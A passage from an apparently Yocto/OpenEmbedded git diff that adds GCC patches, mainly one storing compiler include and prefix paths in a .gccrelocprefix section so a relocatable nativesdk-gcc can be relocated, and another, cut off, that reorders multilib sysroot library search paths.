+@@ -40,8 +40,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
+ $(Wc)$(libiberty_normal)))
+ libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
+
+-plugindir = $(libdir)/gcc/$(target_noncanonical)/$(gcc_version)/plugin
+-cc1libdir = $(libdir)/$(libsuffix)
++cc1libdir = $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version)
++plugindir = $(cc1libdir)
+
+ if ENABLE_PLUGIN
+ plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
+diff --git a/libcc1/Makefile.in b/libcc1/Makefile.in
+index 753d435c9cb..455627b0a3b 100644
+--- a/libcc1/Makefile.in
++++ b/libcc1/Makefile.in
+@@ -398,8 +398,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
+ $(Wc)$(libiberty_normal)))
+
+ libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
+-plugindir = $(libdir)/gcc/$(target_noncanonical)/$(gcc_version)/plugin
+-cc1libdir = $(libdir)/$(libsuffix)
++cc1libdir = $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version)
++plugindir = $(cc1libdir)
+ @ENABLE_PLUGIN_TRUE@plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
+ @ENABLE_PLUGIN_TRUE@cc1lib_LTLIBRARIES = libcc1.la
+ shared_source = callbacks.cc callbacks.hh connection.cc connection.hh \
diff --git a/meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch b/meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch
new file mode 100644
index 0000000000..b1054fa749
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch
@@ -0,0 +1,510 @@
+From 354682ad8f71f62643dcd83f64b51b5979615a0c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 7 Dec 2015 23:39:54 +0000
+Subject: [PATCH] handle sysroot support for nativesdk-gcc
+
+Being able to build a nativesdk gcc is useful, particularly in cases
+where the host compiler may be of an incompatible version (or a 32
+bit compiler is needed).
+
+Sadly, building nativesdk-gcc is not straight forward. We install
+nativesdk-gcc into a relocatable location and this means that its
+library locations can change. "Normal" sysroot support doesn't help
+in this case since the values of paths like "libdir" change, not just
+base root directory of the system.
+
+In order to handle this we do two things:
+
+a) Add %r into spec file markup which can be used for injected paths
+ such as SYSTEMLIBS_DIR (see gcc_multilib_setup()).
+b) Add other paths which need relocation into a .gccrelocprefix section
+ which the relocation code will notice and adjust automatically.
+
+Upstream-Status: Inappropriate
+RP 2015/7/28
+
+Extend the gccrelocprefix support to musl config too, this ensures
+that gcc will get right bits in SDK installations
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+Added PREFIXVAR and EXEC_PREFIXVAR to support runtime relocation. Without
+these as part of the gccrelocprefix the system can't do runtime relocation
+if the executable is moved. (These paths were missed in the original
+implementation.)
+
+Signed-off-by: Mark Hatle <mark.hatle@kernel.crashing.org>
+---
+ gcc/c-family/c-opts.c | 4 +--
+ gcc/config/linux.h | 24 +++++++--------
+ gcc/config/rs6000/sysv4.h | 24 +++++++--------
+ gcc/cppdefault.c | 63 ++++++++++++++++++++++++---------------
+ gcc/cppdefault.h | 13 ++++----
+ gcc/gcc.c | 20 +++++++++----
+ gcc/incpath.c | 12 ++++----
+ gcc/prefix.c | 6 ++--
+ 8 files changed, 94 insertions(+), 72 deletions(-)
+
+diff --git a/gcc/c-family/c-opts.c b/gcc/c-family/c-opts.c
+index 89e05a4c551..5577383665d 100644
+--- a/gcc/c-family/c-opts.c
++++ b/gcc/c-family/c-opts.c
+@@ -1436,8 +1436,8 @@ add_prefixed_path (const char *suffix, incpath_kind chain)
+ size_t prefix_len, suffix_len;
+
+ suffix_len = strlen (suffix);
+- prefix = iprefix ? iprefix : cpp_GCC_INCLUDE_DIR;
+- prefix_len = iprefix ? strlen (iprefix) : cpp_GCC_INCLUDE_DIR_len;
++ prefix = iprefix ? iprefix : GCC_INCLUDE_DIRVAR;
++ prefix_len = iprefix ? strlen (iprefix) : strlen(GCC_INCLUDE_DIRVAR) - 7;
+
+ path = (char *) xmalloc (prefix_len + suffix_len + 1);
+ memcpy (path, prefix, prefix_len);
+diff --git a/gcc/config/linux.h b/gcc/config/linux.h
+index b525bcd56b3..ba02c013e30 100644
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -129,53 +129,53 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ * Unfortunately, this is mostly duplicated from cppdefault.c */
+ #if DEFAULT_LIBC == LIBC_MUSL
+ #define INCLUDE_DEFAULTS_MUSL_GPP \
+- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 }, \
+- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 }, \
+- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+
+ #ifdef LOCAL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 }, \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 }, \
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL
+ #endif
+
+ #ifdef PREFIX_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX \
+- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0},
++ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX
+ #endif
+
+ #ifdef CROSS_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_CROSS \
+- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0},
++ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_CROSS
+ #endif
+
+ #ifdef TOOL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_TOOL \
+- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0},
++ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
+ #ifdef GCC_INCLUDE_SUBDIR_TARGET
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
+ #endif
+
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 0 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 2 }, \
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE
+ #endif
+@@ -200,7 +200,7 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ INCLUDE_DEFAULTS_MUSL_TOOL \
+ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
++ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+ }
+ #endif
+diff --git a/gcc/config/rs6000/sysv4.h b/gcc/config/rs6000/sysv4.h
+index 0c2bba5ea32..313a8de4417 100644
+--- a/gcc/config/rs6000/sysv4.h
++++ b/gcc/config/rs6000/sysv4.h
+@@ -959,53 +959,53 @@ ncrtn.o%s"
+ /* Include order changes for musl, same as in generic linux.h. */
+ #if DEFAULT_LIBC == LIBC_MUSL
+ #define INCLUDE_DEFAULTS_MUSL_GPP \
+- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 }, \
+- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 }, \
+- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1, \
++ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1, \
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+
+ #ifdef LOCAL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 }, \
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 }, \
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_LOCAL
+ #endif
+
+ #ifdef PREFIX_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX \
+- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0},
++ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_PREFIX
+ #endif
+
+ #ifdef CROSS_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_CROSS \
+- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0},
++ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_CROSS
+ #endif
+
+ #ifdef TOOL_INCLUDE_DIR
+ #define INCLUDE_DEFAULTS_MUSL_TOOL \
+- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0},
++ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
+ #ifdef GCC_INCLUDE_SUBDIR_TARGET
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
+ #endif
+
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 0 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 2 }, \
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE
+ #endif
+@@ -1030,7 +1030,7 @@ ncrtn.o%s"
+ INCLUDE_DEFAULTS_MUSL_TOOL \
+ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
++ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+ }
+ #endif
+diff --git a/gcc/cppdefault.c b/gcc/cppdefault.c
+index d54d6ce0076..784a92a0c24 100644
+--- a/gcc/cppdefault.c
++++ b/gcc/cppdefault.c
+@@ -35,6 +35,30 @@
+ # undef CROSS_INCLUDE_DIR
+ #endif
+
++static char GPLUSPLUS_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_INCLUDE_DIR;
++char GCC_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GCC_INCLUDE_DIR;
++static char GPLUSPLUS_TOOL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_TOOL_INCLUDE_DIR;
++static char GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_BACKWARD_INCLUDE_DIR;
++static char STANDARD_STARTFILE_PREFIX_2VAR[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET;
++#ifdef LOCAL_INCLUDE_DIR
++static char LOCAL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = LOCAL_INCLUDE_DIR;
++#endif
++#ifdef PREFIX_INCLUDE_DIR
++static char PREFIX_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX_INCLUDE_DIR;
++#endif
++#ifdef FIXED_INCLUDE_DIR
++static char FIXED_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = FIXED_INCLUDE_DIR;
++#endif
++#ifdef CROSS_INCLUDE_DIR
++static char CROSS_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = CROSS_INCLUDE_DIR;
++#endif
++#ifdef TOOL_INCLUDE_DIR
++static char TOOL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = TOOL_INCLUDE_DIR;
++#endif
++#ifdef NATIVE_SYSTEM_HEADER_DIR
++static char NATIVE_SYSTEM_HEADER_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = NATIVE_SYSTEM_HEADER_DIR;
++#endif
++
+ const struct default_include cpp_include_defaults[]
+ #ifdef INCLUDE_DEFAULTS
+ = INCLUDE_DEFAULTS;
+@@ -42,17 +66,17 @@ const struct default_include cpp_include_defaults[]
+ = {
+ #ifdef GPLUSPLUS_INCLUDE_DIR
+ /* Pick up GNU C++ generic include files. */
+- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1,
++ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1,
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+ #endif
+ #ifdef GPLUSPLUS_TOOL_INCLUDE_DIR
+ /* Pick up GNU C++ target-dependent include files. */
+- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1,
++ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1,
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 },
+ #endif
+ #ifdef GPLUSPLUS_BACKWARD_INCLUDE_DIR
+ /* Pick up GNU C++ backward and deprecated include files. */
+- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1,
++ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1,
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+ #endif
+ #ifdef GPLUSPLUS_LIBCXX_INCLUDE_DIR
+@@ -62,23 +86,23 @@ const struct default_include cpp_include_defaults[]
+ #endif
+ #ifdef GCC_INCLUDE_DIR
+ /* This is the dir for gcc's private headers. */
+- { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
++ { GCC_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0 },
+ #endif
+ #ifdef GCC_INCLUDE_SUBDIR_TARGET
+ /* This is the dir for gcc's private headers under the specified sysroot. */
+- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0 },
++ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0 },
+ #endif
+ #ifdef LOCAL_INCLUDE_DIR
+ /* /usr/local/include comes before the fixincluded header files. */
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 },
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
+ #endif
+ #ifdef PREFIX_INCLUDE_DIR
+- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0 },
++ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0 },
+ #endif
+ #ifdef FIXED_INCLUDE_DIR
+ /* This is the dir for fixincludes. */
+- { FIXED_INCLUDE_DIR, "GCC", 0, 0, 0,
++ { FIXED_INCLUDE_DIRVAR, "GCC", 0, 0, 0,
+ /* A multilib suffix needs adding if different multilibs use
+ different headers. */
+ #ifdef SYSROOT_HEADERS_SUFFIX_SPEC
+@@ -90,33 +114,24 @@ const struct default_include cpp_include_defaults[]
+ #endif
+ #ifdef CROSS_INCLUDE_DIR
+ /* One place the target system's headers might be. */
+- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
++ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0 },
+ #endif
+ #ifdef TOOL_INCLUDE_DIR
+ /* Another place the target system's headers might be. */
+- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0 },
++ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0 },
+ #endif
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ /* /usr/include comes dead last. */
+- { NATIVE_SYSTEM_HEADER_DIR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 2 },
+- { NATIVE_SYSTEM_HEADER_DIR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 0 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 2 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 0 },
+ #endif
+ { 0, 0, 0, 0, 0, 0 }
+ };
+ #endif /* no INCLUDE_DEFAULTS */
+
+-#ifdef GCC_INCLUDE_DIR
+-const char cpp_GCC_INCLUDE_DIR[] = GCC_INCLUDE_DIR;
+-const size_t cpp_GCC_INCLUDE_DIR_len = sizeof GCC_INCLUDE_DIR - 8;
+-#else
+-const char cpp_GCC_INCLUDE_DIR[] = "";
+-const size_t cpp_GCC_INCLUDE_DIR_len = 0;
+-#endif
+-
+ /* The configured prefix. */
+-const char cpp_PREFIX[] = PREFIX;
+-const size_t cpp_PREFIX_len = sizeof PREFIX - 1;
+-const char cpp_EXEC_PREFIX[] = STANDARD_EXEC_PREFIX;
++char PREFIXVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX;
++char EXEC_PREFIXVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_EXEC_PREFIX;
+
+ /* This value is set by cpp_relocated at runtime */
+ const char *gcc_exec_prefix;
+diff --git a/gcc/cppdefault.h b/gcc/cppdefault.h
+index fd3c655db1c..20669ac427d 100644
+--- a/gcc/cppdefault.h
++++ b/gcc/cppdefault.h
+@@ -33,7 +33,8 @@
+
+ struct default_include
+ {
+- const char *const fname; /* The name of the directory. */
++ const char *fname; /* The name of the directory. */
++
+ const char *const component; /* The component containing the directory
+ (see update_path in prefix.c) */
+ const char cplusplus; /* When this is non-zero, we should only
+@@ -55,17 +56,13 @@ struct default_include
+ };
+
+ extern const struct default_include cpp_include_defaults[];
+-extern const char cpp_GCC_INCLUDE_DIR[];
+-extern const size_t cpp_GCC_INCLUDE_DIR_len;
++extern char GCC_INCLUDE_DIRVAR[] __attribute__ ((section (".gccrelocprefix")));
+
+ /* The configure-time prefix, i.e., the value supplied as the argument
+ to --prefix=. */
+-extern const char cpp_PREFIX[];
++extern char PREFIXVAR[] __attribute__ ((section (".gccrelocprefix")));
+ /* The length of the configure-time prefix. */
+-extern const size_t cpp_PREFIX_len;
+-/* The configure-time execution prefix. This is typically the lib/gcc
+- subdirectory of cpp_PREFIX. */
+-extern const char cpp_EXEC_PREFIX[];
++extern char EXEC_PREFIXVAR[] __attribute__ ((section (".gccrelocprefix")));
+ /* The run-time execution prefix. This is typically the lib/gcc
+ subdirectory of the actual installation. */
+ extern const char *gcc_exec_prefix;
+diff --git a/gcc/gcc.c b/gcc/gcc.c
+index 8737bae5353..aa6fbe43965 100644
+--- a/gcc/gcc.c
++++ b/gcc/gcc.c
+@@ -252,6 +252,8 @@ FILE *report_times_to_file = NULL;
+ #endif
+ static const char *target_system_root = DEFAULT_TARGET_SYSTEM_ROOT;
+
++static char target_relocatable_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = SYSTEMLIBS_DIR;
++
+ /* Nonzero means pass the updated target_system_root to the compiler. */
+
+ static int target_system_root_changed;
+@@ -568,6 +570,7 @@ or with constant text in a single argument.
+ %G process LIBGCC_SPEC as a spec.
+ %R Output the concatenation of target_system_root and
+ target_sysroot_suffix.
++ %r Output the base path target_relocatable_prefix
+ %S process STARTFILE_SPEC as a spec. A capital S is actually used here.
+ %E process ENDFILE_SPEC as a spec. A capital E is actually used here.
+ %C process CPP_SPEC as a spec.
+@@ -1621,10 +1624,10 @@ static const char *gcc_libexec_prefix;
+ gcc_exec_prefix is set because, in that case, we know where the
+ compiler has been installed, and use paths relative to that
+ location instead. */
+-static const char *const standard_exec_prefix = STANDARD_EXEC_PREFIX;
+-static const char *const standard_libexec_prefix = STANDARD_LIBEXEC_PREFIX;
+-static const char *const standard_bindir_prefix = STANDARD_BINDIR_PREFIX;
+-static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
++static char standard_exec_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_EXEC_PREFIX;
++static char standard_libexec_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_LIBEXEC_PREFIX;
++static char standard_bindir_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_BINDIR_PREFIX;
++static char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
+
+ /* For native compilers, these are well-known paths containing
+ components that may be provided by the system. For cross
+@@ -1632,9 +1635,9 @@ static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
+ static const char *md_exec_prefix = MD_EXEC_PREFIX;
+ static const char *md_startfile_prefix = MD_STARTFILE_PREFIX;
+ static const char *md_startfile_prefix_1 = MD_STARTFILE_PREFIX_1;
+-static const char *const standard_startfile_prefix_1
++static char standard_startfile_prefix_1[4096] __attribute__ ((section (".gccrelocprefix")))
+ = STANDARD_STARTFILE_PREFIX_1;
+-static const char *const standard_startfile_prefix_2
++static char standard_startfile_prefix_2[4096] __attribute__ ((section (".gccrelocprefix")))
+ = STANDARD_STARTFILE_PREFIX_2;
+
+ /* A relative path to be used in finding the location of tools
+@@ -6564,6 +6567,11 @@ do_spec_1 (const char *spec, int inswitch, const char *soft_matched_part)
+ }
+ break;
+
++ case 'r':
++ obstack_grow (&obstack, target_relocatable_prefix,
++ strlen (target_relocatable_prefix));
++ break;
++
+ case 'S':
+ value = do_spec_1 (startfile_spec, 0, NULL);
+ if (value != 0)
+diff --git a/gcc/incpath.c b/gcc/incpath.c
+index fbfc0ce03b8..a82e543428b 100644
+--- a/gcc/incpath.c
++++ b/gcc/incpath.c
+@@ -131,7 +131,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+ int relocated = cpp_relocated ();
+ size_t len;
+
+- if (iprefix && (len = cpp_GCC_INCLUDE_DIR_len) != 0)
++ if (iprefix && (len = strlen(GCC_INCLUDE_DIRVAR) - 7) != 0)
+ {
+ /* Look for directories that start with the standard prefix.
+ "Translate" them, i.e. replace /usr/local/lib/gcc... with
+@@ -146,7 +146,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+ now. */
+ if (sysroot && p->add_sysroot)
+ continue;
+- if (!filename_ncmp (p->fname, cpp_GCC_INCLUDE_DIR, len))
++ if (!filename_ncmp (p->fname, GCC_INCLUDE_DIRVAR, len))
+ {
+ char *str = concat (iprefix, p->fname + len, NULL);
+ if (p->multilib == 1 && imultilib)
+@@ -187,7 +187,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+ free (sysroot_no_trailing_dir_separator);
+ }
+ else if (!p->add_sysroot && relocated
+- && !filename_ncmp (p->fname, cpp_PREFIX, cpp_PREFIX_len))
++ && !filename_ncmp (p->fname, PREFIXVAR, strlen(PREFIXVAR)))
+ {
+ static const char *relocated_prefix;
+ char *ostr;
+@@ -204,12 +204,12 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+ dummy = concat (gcc_exec_prefix, "dummy", NULL);
+ relocated_prefix
+ = make_relative_prefix (dummy,
+- cpp_EXEC_PREFIX,
+- cpp_PREFIX);
++ EXEC_PREFIXVAR,
++ PREFIXVAR);
+ free (dummy);
+ }
+ ostr = concat (relocated_prefix,
+- p->fname + cpp_PREFIX_len,
++ p->fname + strlen(PREFIXVAR),
+ NULL);
+ str = update_path (ostr, p->component);
+ free (ostr);
+diff --git a/gcc/prefix.c b/gcc/prefix.c
+index 747c09de638..f728638dc65 100644
+--- a/gcc/prefix.c
++++ b/gcc/prefix.c
+@@ -72,7 +72,9 @@ License along with GCC; see the file COPYING3. If not see
+ #include "prefix.h"
+ #include "common/common-target.h"
+
+-static const char *std_prefix = PREFIX;
++char PREFIXVAR1[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX;
++
++static const char *std_prefix = PREFIXVAR1;
+
+ static const char *get_key_value (char *);
+ static char *translate_name (char *);
+@@ -212,7 +214,7 @@ translate_name (char *name)
+ prefix = getenv (key);
+
+ if (prefix == 0)
+- prefix = PREFIX;
++ prefix = PREFIXVAR1;
+
+ /* We used to strip trailing DIR_SEPARATORs here, but that can
+ sometimes yield a result with no separator when one was coded
diff --git a/meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch b/meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch
new file mode 100644
index 0000000000..ff622b1056
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch
@@ -0,0 +1,99 @@
+From c55e24459370ad96577496ecd87475e3a9de7dad Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 7 Dec 2015 23:41:45 +0000
+Subject: [PATCH] Search target sysroot gcc version specific dirs with
+ multilib.
+
+We install the gcc libraries (such as crtbegin.p) into
+<sysroot><libdir>/<target-sys>/5.2.0/
+which is a default search path for GCC (aka multi_suffix in the
+code below). <target-sys> is 'machine' in gcc's terminology. We use
+these directories so that multiple gcc versions could in theory
+co-exist on target.
+
+We only want to build one gcc-cross-canadian per arch and have this work
+for all multilibs. <target-sys> can be handled by mapping the multilib
+<target-sys> to the one used by gcc-cross-canadian, e.g.
+mips64-polkmllib32-linux
+is symlinked to by mips64-poky-linux.
+
+The default gcc search path in the target sysroot for a "lib64" mutlilib
+is:
+
+<sysroot>/lib32/mips64-poky-linux/5.2.0/
+<sysroot>/lib32/../lib64/
+<sysroot>/usr/lib32/mips64-poky-linux/5.2.0/
+<sysroot>/usr/lib32/../lib64/
+<sysroot>/lib32/
+<sysroot>/usr/lib32/
+
+which means that the lib32 crtbegin.o will be found and the lib64 ones
+will not which leads to compiler failures.
+
+This patch injects a multilib version of that path first so the lib64
+binaries can be found first. With this change the search path becomes:
+
+<sysroot>/lib32/../lib64/mips64-poky-linux/5.2.0/
+<sysroot>/lib32/mips64-poky-linux/5.2.0/
+<sysroot>/lib32/../lib64/
+<sysroot>/usr/lib32/../lib64/mips64-poky-linux/5.2.0/
+<sysroot>/usr/lib32/mips64-poky-linux/5.2.0/
+<sysroot>/usr/lib32/../lib64/
+<sysroot>/lib32/
+<sysroot>/usr/lib32/
+
+Upstream-Status: Pending
+RP 2015/7/31
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/gcc.c | 29 ++++++++++++++++++++++++++++-
+ 1 file changed, 28 insertions(+), 1 deletion(-)
+
+diff --git a/gcc/gcc.c b/gcc/gcc.c
+index aa6fbe43965..f8a71a13826 100644
+--- a/gcc/gcc.c
++++ b/gcc/gcc.c
+@@ -2811,7 +2811,7 @@ for_each_path (const struct path_prefix *paths,
+ if (path == NULL)
+ {
+ len = paths->max_len + extra_space + 1;
